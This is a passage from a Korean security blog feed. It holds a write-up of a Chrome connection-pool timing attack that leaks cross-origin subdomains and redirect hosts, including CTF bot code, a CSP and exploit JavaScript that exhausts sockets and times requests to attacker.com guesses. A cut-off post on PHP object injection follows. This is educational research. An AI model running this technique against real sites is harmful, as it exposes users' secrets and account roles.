&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인라인 스크립트가 포함된 페이지&lt;/li&gt;
&lt;li&gt;DOMAIN = challenge-01.babelo.xyz&amp;nbsp;and&amp;nbsp;PORT = 80&lt;/li&gt;
&lt;li&gt;location.hash가 변경되면 localStorage 에서 flag를 읽어 hex 인코딩 후 http://&amp;lt;hex(flag)&amp;gt;. challenge-01.babelo.xyz:80으로 fetch() 요청을 보냄&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Route /report&lt;/h4&gt;
&lt;pre id=&quot;code_1777290474200&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;try{
    ...

    page = await context.newPage();
    
    console.log(`The admin will visit ${SITE} first, and then ${url}`);

    await page.goto(`${SITE}`, { waitUntil: &quot;domcontentloaded&quot;, timeout: 5000 });
    await sleep(100);

    await page.evaluate((flag) =&amp;gt; {
        localStorage.setItem('flag', flag);
    }, FLAG);

    console.log(`localStorage.setItem('flag', '${FLAG}')`)

    await sleep(500);

} catch (err) {
    console.error(err);
    if (browser) await browser.close();
    return reject(new Error(&quot;Error: Setup failed, if this happens consistently on remote contact the admin&quot;));
}

resolve(&quot;The admin will visit your URL soon&quot;);

try {
    await page.goto(url, { waitUntil: &quot;domcontentloaded&quot;, timeout: 5000 });
    await sleep(120_000);
} catch (err) {
    console.error(err);
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;헤드리스 Chrome 봇을 실행&lt;/li&gt;
&lt;li&gt;챌린지 사이트 방문 &amp;rarr; flag를 localStorage에 저장 &amp;rarr; 공격자가 제공한 URL로 이동 &amp;rarr; 120초 대기&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;컨텐츠 보안 정책(Content Security Policy, CSP)&lt;/h4&gt;
&lt;pre id=&quot;code_1777290512429&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;app.use((req, res, next) =&amp;gt; {
    const nonce = crypto.randomBytes(16).toString('base64');
    res.locals.nonce = nonce;

    res.setHeader(&quot;Content-Security-Policy&quot;, `default-src 'none'; script-src 'nonce-${nonce}'; connect-src *.${DOMAIN}; base-uri 'none'; frame-ancestors 'none'`);
    next();
});&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;script-src 'nonce-&amp;hellip;' : nonce 없이는 스크립트 실행 불가&lt;/li&gt;
&lt;li&gt;connect-src *. challenge-01.babelo.xyz : 네트워크 요청은 해당 도메인의 서브도메인으로만 가능&lt;/li&gt;
&lt;li&gt;frame-ancestors &amp;lsquo;none&amp;rsquo; : iframe으로 삽입 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, XSS도 안되고, 직접 데이터도 읽을 수 없는 상황&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Exploit - Leaking subdomains of cross-origin requests&lt;/h4&gt;
&lt;pre id=&quot;code_1777290563623&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const sleep = (ms) =&amp;gt; {
    return new Promise(resolve =&amp;gt; {
        setTimeout(resolve, ms);
    });
}

// sends a fetch request that takes 360 seconds to finish
const fetch_sleep_long = (i) =&amp;gt; {
    controller = new AbortController();
    const signal = controller.signal;

    fetch(`http://sleep${i}.${MYSERVER}/360?q=${i}`, {
        mode: 'no-cors',
        signal: signal
    });

    return controller
}

// blocks one socket
const block_socket = async (i) =&amp;gt; {
    let controller = fetch_sleep_long(i);
    await sleep(0);

    return controller;
}

// exhausts all sockets except one
const exhaust_sockets = async() =&amp;gt; {
    let i = 0
    for (; i &amp;lt; SOCKETLIMIT; i++) {
        let controller = await block_socket(i);
        controllers.push(controller);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;먼저 커넥션 풀(Connection pool)을 설정하는 함수를 만듬&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 커넥션 풀 고갈&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시간이 오래 걸리는 요청을 255개를 보내서 커넥션 풀을 고갈 시킴&lt;/li&gt;
&lt;li&gt;소켓이 1개만 남은 상태가 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 피해자의 비밀 요청 트리거&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;피해자 페이지는 hashchange 같은 이벤트로 http://&amp;lt;hex(flag)&amp;gt;. DOMAIN를 보내도록 만들어져 있음&lt;/li&gt;
&lt;li&gt;이 시점에 마지막 1개의 소켓도 차단해, 피해자의 요청을 대기 줄에 서게 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 공격자의 추측 요청 보내기&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가 자기 추측 값으로 요청을 하나 더 보냄&lt;br /&gt;Ex) http://FFFF.attacker.com&lt;/li&gt;
&lt;li&gt;이 요청도 소켓이 없으니 대기 줄에 들어감&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 대기 줄에는 http://&amp;lt;hex(flag)&amp;gt;. DOMAIN과 http://7FFF.attacker.com 두 요청이 있음&amp;nbsp; (7FFF인 이유는 0~F 중간 값)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;4. 소켓 1개 비우고, 기준치 요청 보내기&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자는 소켓 1개를 비우고 http://0000.attacker.com 요청을 보냄&lt;/li&gt;
&lt;li&gt;이 요청은 250ms 후에 답장하도록 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 누가 먼저 들어왔는지 시간으로 판단&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;피해자가 6으로 시작한다고 가정&lt;br /&gt;6xxx &amp;lt; 7FFF : 피해자가 먼저 소켓에 들어감. 내 요청이 끝나는데 오래 걸림 (600ms 이상)&lt;/li&gt;
&lt;li&gt;피해자가 6으로 시작하고, 내 추측 값이 5FFF 였다고 가정&lt;br /&gt;6xxx &amp;lt; 5FFF :&amp;nbsp; 내 요청이 빨리 끝남&amp;nbsp; 250ms 이하&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 65.6977%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.3023%;&quot;&gt;공격자의 요청 속도&lt;/td&gt;
&lt;td style=&quot;width: 41.3954%;&quot;&gt;의미&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.3023%;&quot;&gt;빠름 ( &amp;lt; 250ms)&lt;/td&gt;
&lt;td style=&quot;width: 41.3954%;&quot;&gt;추측 값이 비밀보다 사전 순 앞(=비밀이 더 큼)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.3023%;&quot;&gt;느림 ( &amp;gt; 600ms)&lt;/td&gt;
&lt;td style=&quot;width: 41.3954%;&quot;&gt;추측 값이 비밀보다 사전 순 뒤(= 비밀이 더 작음)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 이진 탐색으로&amp;nbsp; 7 &amp;rarr; 3 &amp;rarr; 1 이런 식으로 좁혀서 비밀 값을 알아낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 곧 비밀 값이 내 추측보다 큰가? 작은가? 를 알려주는 오라클!&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;리다이렉트 호스트 누출&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;리다이렉트 호스트&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;span style=&quot;text-align: left;&quot;&gt;리다이렉트는 서버가 이 URL 말고 다른 URL로 가라고 지시하는 동작 (보통 301/302)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;이때 다른 URL로 이동하라고 지시한 URL에서 호스트의 부분&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;https://admin.example.com/dashboard&lt;/li&gt;
&lt;li&gt;host: admin.example.com&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin.example.com 부분이 &lt;b&gt;리다이렉트 호스트&lt;/b&gt;이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드: &lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://gist.github.com/salvatore-abello/7d4fd69a098e1f80c900747dc1d3dae5&quot;&gt;https://gist.github.com/salvatore-abello/7d4fd69a098e1f80c900747dc1d3dae5&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Google을 OpenID Connect 프로바이더로 사용하는 로그인 시스템:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;관리자(admin) &amp;rarr; admin.test.localhost.com 으로 리다이렉트&lt;/li&gt;
&lt;li&gt;일반 사용자(user) &amp;rarr; app.test.localhost.com 으로 리다이렉트&lt;/li&gt;
&lt;li&gt;한번 로그인하면 /login 접근 시 자동으로 해당 서브도메인으로 리다이렉트 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공격 원리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리다이렉트 네비게이션의 우선순위는 매우 높아서 공격자도 같은 우선순위 요청(frame navigation)을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사전순으로 admin &amp;lt; ajj &amp;lt; app 이므로, 공격자는 ajj를 비교 값으로 사용&lt;/p&gt;
&lt;table id=&quot;30deccad-21a5-804c-a2fb-e3efbab3d2ea&quot; style=&quot;border-collapse: collapse; width: 92.6744%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr id=&quot;30deccad-21a5-80c9-a60a-e8355eee8543&quot;&gt;
&lt;td id=&quot;FG\O&quot; style=&quot;width: 12.4419%;&quot;&gt;사용자 유형&lt;/td&gt;
&lt;td id=&quot;?j;]&quot; style=&quot;width: 22.6744%;&quot;&gt;리다이렉트 목적지&lt;/td&gt;
&lt;td id=&quot;r~~W&quot; style=&quot;width: 27.5609%;&quot;&gt;ajj와 비교&lt;/td&gt;
&lt;td id=&quot;Z{:v&quot; style=&quot;width: 29.9972%;&quot;&gt;결과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;30deccad-21a5-80a6-9514-cdaa7255415f&quot;&gt;
&lt;td id=&quot;FG\O&quot; style=&quot;width: 12.4419%;&quot;&gt;관리자&lt;/td&gt;
&lt;td id=&quot;?j;]&quot; style=&quot;width: 22.6744%;&quot;&gt;admin.test.localhost.com&lt;/td&gt;
&lt;td id=&quot;r~~W&quot; style=&quot;width: 27.5609%;&quot;&gt;admin &amp;lt; ajj &amp;rarr; 리다이렉트가 먼저&lt;/td&gt;
&lt;td id=&quot;Z{:v&quot; style=&quot;width: 29.9972%;&quot;&gt;공격자가 요청 지연됨 ( &amp;gt;500ms)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;30deccad-21a5-80b0-9a00-f37233ef5964&quot;&gt;
&lt;td id=&quot;FG\O&quot; style=&quot;width: 12.4419%;&quot;&gt;일반 사용자&lt;/td&gt;
&lt;td id=&quot;?j;]&quot; style=&quot;width: 22.6744%;&quot;&gt;app.test.localhost.com&lt;/td&gt;
&lt;td id=&quot;r~~W&quot; style=&quot;width: 27.5609%;&quot;&gt;app &amp;gt; ajj &amp;rarr; 공격자가 먼저&lt;/td&gt;
&lt;td id=&quot;Z{:v&quot; style=&quot;width: 29.9972%;&quot;&gt;공격자 요청 빠르게 완료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Exploit&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 커넥션 풀 고갈&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청 255개 보냄&lt;/li&gt;
&lt;li&gt;소켓이 1개만 남은 상태가 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. auth.localhost.com/login 열기&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;윈도우에서 auth.localhost.com/login을 염&lt;/li&gt;
&lt;li&gt;이때 1개 남은 소켓을 차단해 auth.localhost.com/login 요청을 대기로 만듦&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 소켓 1개 열고, 즉시 다시 차단&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 요청만 처리, 리다이렉트는 대기&lt;/li&gt;
&lt;li&gt;auth.localhost.com/login의 요청을 열렸을 때 들어가고, 리다이렉트 된 admin (or app).test.localhost.com은 소켓이 없으니 대기&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. ajj.attacker.com으로 iframe 요청&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;frame 네비게이션과 우선순위가 동일&lt;/li&gt;
&lt;li&gt;ajj.attacker.com도 소켓이 없으니 대기로 감&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 리다이렉트 요청과 공격자 요청(ajj)이 대기 상태&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 소켓 1개 열고, 즉시 다시 차단&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리다이렉트 vs iframe 경쟁 유발&lt;/li&gt;
&lt;/ul&gt;
&lt;table id=&quot;30deccad-21a5-80fb-a16a-eacb4cbd5a31&quot; style=&quot;border-collapse: collapse; width: 67.6744%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr id=&quot;30deccad-21a5-8071-9a69-df2325f550c0&quot;&gt;
&lt;td id=&quot;nzc&amp;#96;&quot; style=&quot;width: 29.6512%;&quot;&gt;피해자가 관리자인 경우&lt;/td&gt;
&lt;td id=&quot;d[U{&quot; style=&quot;width: 37.907%;&quot;&gt;피해자가 일반 사용자인 경우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;30deccad-21a5-8010-aaab-d24e514c913b&quot;&gt;
&lt;td id=&quot;nzc&amp;#96;&quot; style=&quot;width: 29.6512%;&quot;&gt;대기: admin vs ajj&lt;/td&gt;
&lt;td id=&quot;d[U{&quot; style=&quot;width: 37.907%;&quot;&gt;대기: app vs ajj&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;30deccad-21a5-8043-add6-c1fd187ea7a5&quot;&gt;
&lt;td id=&quot;nzc&amp;#96;&quot; style=&quot;width: 29.6512%;&quot;&gt;admin &amp;lt; ajj &amp;rarr; 리다이렉트 먼저&lt;/td&gt;
&lt;td id=&quot;d[U{&quot; style=&quot;width: 37.907%;&quot;&gt;ajj &amp;lt; app &amp;rarr; 공격자가 먼저&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;30deccad-21a5-8021-b1a8-c58e3bab9eee&quot;&gt;
&lt;td id=&quot;nzc&amp;#96;&quot; style=&quot;width: 29.6512%;&quot;&gt;공격자(ajj)는 여전히 대기&lt;/td&gt;
&lt;td id=&quot;d[U{&quot; style=&quot;width: 37.907%;&quot;&gt;공격자(ajj)가 소켓을 먼저 차지하고 빠르게 완료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 000000.attacker.com으로 요청 전송&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;000000은 어떤 호스트보다 사전 순으로 앞임&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. 소켓 1개 열고, 즉시 다시 차단&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;000000은 사전순으로 1등이므로 소켓을 차지함&lt;/li&gt;
&lt;li&gt;이 요청은 500ms 후에 응답&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. 소켓 1개 열고 끝&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;500ms 대기 후, 000000 끝나고 소켓 반환&lt;/li&gt;
&lt;li&gt;남아있는 요청 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ajj의 총 소요 시간을 측정한다.&lt;/p&gt;
&lt;table id=&quot;30deccad-21a5-80d0-9d10-c7c3f5a67d40&quot; style=&quot;border-collapse: collapse; width: 49.0698%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr id=&quot;30deccad-21a5-80a1-8c85-c5bf6db2277e&quot;&gt;
&lt;td id=&quot;;Pye&quot; style=&quot;width: 22.2093%;&quot;&gt;ajj 소요 시간&lt;/td&gt;
&lt;td id=&quot;KQq&amp;#96;&quot; style=&quot;width: 26.7442%;&quot;&gt;판정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;30deccad-21a5-80b8-87fd-d9dbc85d1c9c&quot;&gt;
&lt;td id=&quot;;Pye&quot; style=&quot;width: 22.2093%;&quot;&gt;&amp;gt; 500ms (오래 걸림)&lt;/td&gt;
&lt;td id=&quot;KQq&amp;#96;&quot; style=&quot;width: 26.7442%;&quot;&gt;admin이 ajj보다 앞 &amp;rarr; 관리자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr id=&quot;30deccad-21a5-80f6-ad90-cf61ba470169&quot;&gt;
&lt;td id=&quot;;Pye&quot; style=&quot;width: 22.2093%;&quot;&gt;&amp;lt; 500ms (빠르게 끝남)&lt;/td&gt;
&lt;td id=&quot;KQq&amp;#96;&quot; style=&quot;width: 26.7442%;&quot;&gt;ajj가 app보다 앞 &amp;rarr; 일반 사용자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;활용 사례&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;크로스 오리진 요청 개수 세기 : 타겟이 몇 개의 요청을 보내는지 파악&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://blog.babelo.xyz/posts/css-exfiltration-under-default-src-self/#swimming-in-the-connection-pool-&quot;&gt;https://blog.babelo.xyz/posts/css-exfiltration-under-default-src-self/#swimming-in-the-connection-pool-&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;POST 요청 지연시키기 : 특정 요청의 타이밍 조작&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/icesfont/ctf-writeups/tree/main/idekctf/2025#appendix&quot;&gt;https://github.com/icesfont/ctf-writeups/tree/main/idekctf/2025#appendix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;스킴(Scheme) 누출: 요청이 http 인지 https 인지 판별&lt;/li&gt;
&lt;li&gt;포트번호 누출 : 요청의 목적이 포트 파악&lt;/li&gt;
&lt;li&gt;GroupId.privacy_made_ : 누출 가능성 (미검증)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;한계 및 결론&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Chromium 기반 브라우저에서만 동작 (Firefox, Safari 불가)&lt;/li&gt;
&lt;li&gt;Chrome에 보고 했지만, 기존 커넥션 풀 고갈 공격의 변형으로 간주되어 WAI (Won't fix, As Intended)로 분류&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS(스크립트 주입)이 필요 없이, 브라우저의 커넥션 풀 내부 구현(요청 정렬 방식)이라는 사이드 채널을 이용해 크로스 오리진 요청의 목적지를 추론해 내는 공격 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Connection Pool로 이용한 Timing 기법은 예전에도 있었지만, 재조명된 이유는 공격 목표가 더 구체적이고 직접적이 됐기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;타이밍으로 뭔가 추측 가능 수준이 아니라 redirect 목적지를 뽑아낼 수 있다로 인식이 바뀌었다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 문헌&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xss-Leak:&amp;nbsp;교차&amp;nbsp;출처&amp;nbsp;리디렉션&amp;nbsp;유출&amp;nbsp;|&amp;nbsp;살바토레&amp;nbsp;아벨로의&amp;nbsp;블로그&amp;nbsp;---&amp;nbsp;XSS-Leak:&amp;nbsp;Leaking&amp;nbsp;Cross-Origin&amp;nbsp;Redirects&amp;nbsp;|&amp;nbsp;Salvatore&amp;nbsp;Abello's&amp;nbsp;Blog&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.babelo.xyz/posts/cross-site-subdomain-leak/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://blog.babelo.xyz/posts/cross-site-subdomain-leak/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Web Study</category>
      <category>web</category>
      <category>web hacking</category>
      <category>Web Study</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/171</guid>
      <comments>https://yeonbugs.tistory.com/171#entry171comment</comments>
      <pubDate>Mon, 27 Apr 2026 21:21:26 +0900</pubDate>
    </item>
    <item>
      <title>PHP Object injection</title>
      <link>https://yeonbugs.tistory.com/170</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;PHP Object injection?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애플리케이션 레벨의 취약점으로, 사용자가 제공한 입력값이 적절한 검증 없이 PHP의 unserialize() 함수에 전달될 때 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;OWASP&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;PHP Object injection은 상황(Context)에 따라 공격자가 다양한 악의적인 공격을 수행할 수 있게 하는 애플리케이션 계층의 취약점이다.&lt;br /&gt;&lt;br /&gt;연계 가능한 공격:&lt;br /&gt;- Code Injection&lt;br /&gt;- SQL Injection&lt;br /&gt;- Path Traversal&lt;br /&gt;- Denial of Service (DoS)&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;발생 조건&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 성공적으로 익스플로잇 되기 위해서 2가지 조건이 필수적이다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;악용 가능한 매직 메서드가 구현된 클래스 존재&lt;/b&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;__wakeup(), __destruct(), __toString() 등&lt;/li&gt;
&lt;li&gt;이들이 &quot;POP Chain&quot;의 시작점이 될 수 있어야 함&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;클래스가 역직렬화 시점에 선언되어 있거나 자동 로딩 지원&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;unserialize() 호출 시 해당 클래스가 이미 메모리에 있어야 함&lt;/li&gt;
&lt;li&gt;또는 Autoloading이 설정되어 있어야 함&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;왜 직렬화가 필요한가?&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;HTTP 특성&lt;br /&gt;&lt;/b&gt;HTTP는 상태를 유지하지 않는(stateless) 프로토콜로,&lt;br /&gt;- 각 요청이 독립적으로 처리됨&lt;br /&gt;- 이전 요청의 정보를 기억하지 못함&lt;br /&gt;- 로그인 상태, 장바구니 등의 정보를 별도로 저장해야 함&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;문제 상황&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773816698939&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class User {
	public $name = &quot;Alice&quot;;
    public $isAdmin = false;
    public $cart = [&quot;item1&quot;, &quot;item2&quot;];
}

$user = new User();&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 $user 객체를 파일이나 데이터베이스에 저장하려면 어떻게 해야 할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제점:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;객체는 메모리 상의 복잡한 구조&lt;/li&gt;
&lt;li&gt;파일/DB는 기본적으로 문자열 데이터만 저장 가능&lt;/li&gt;
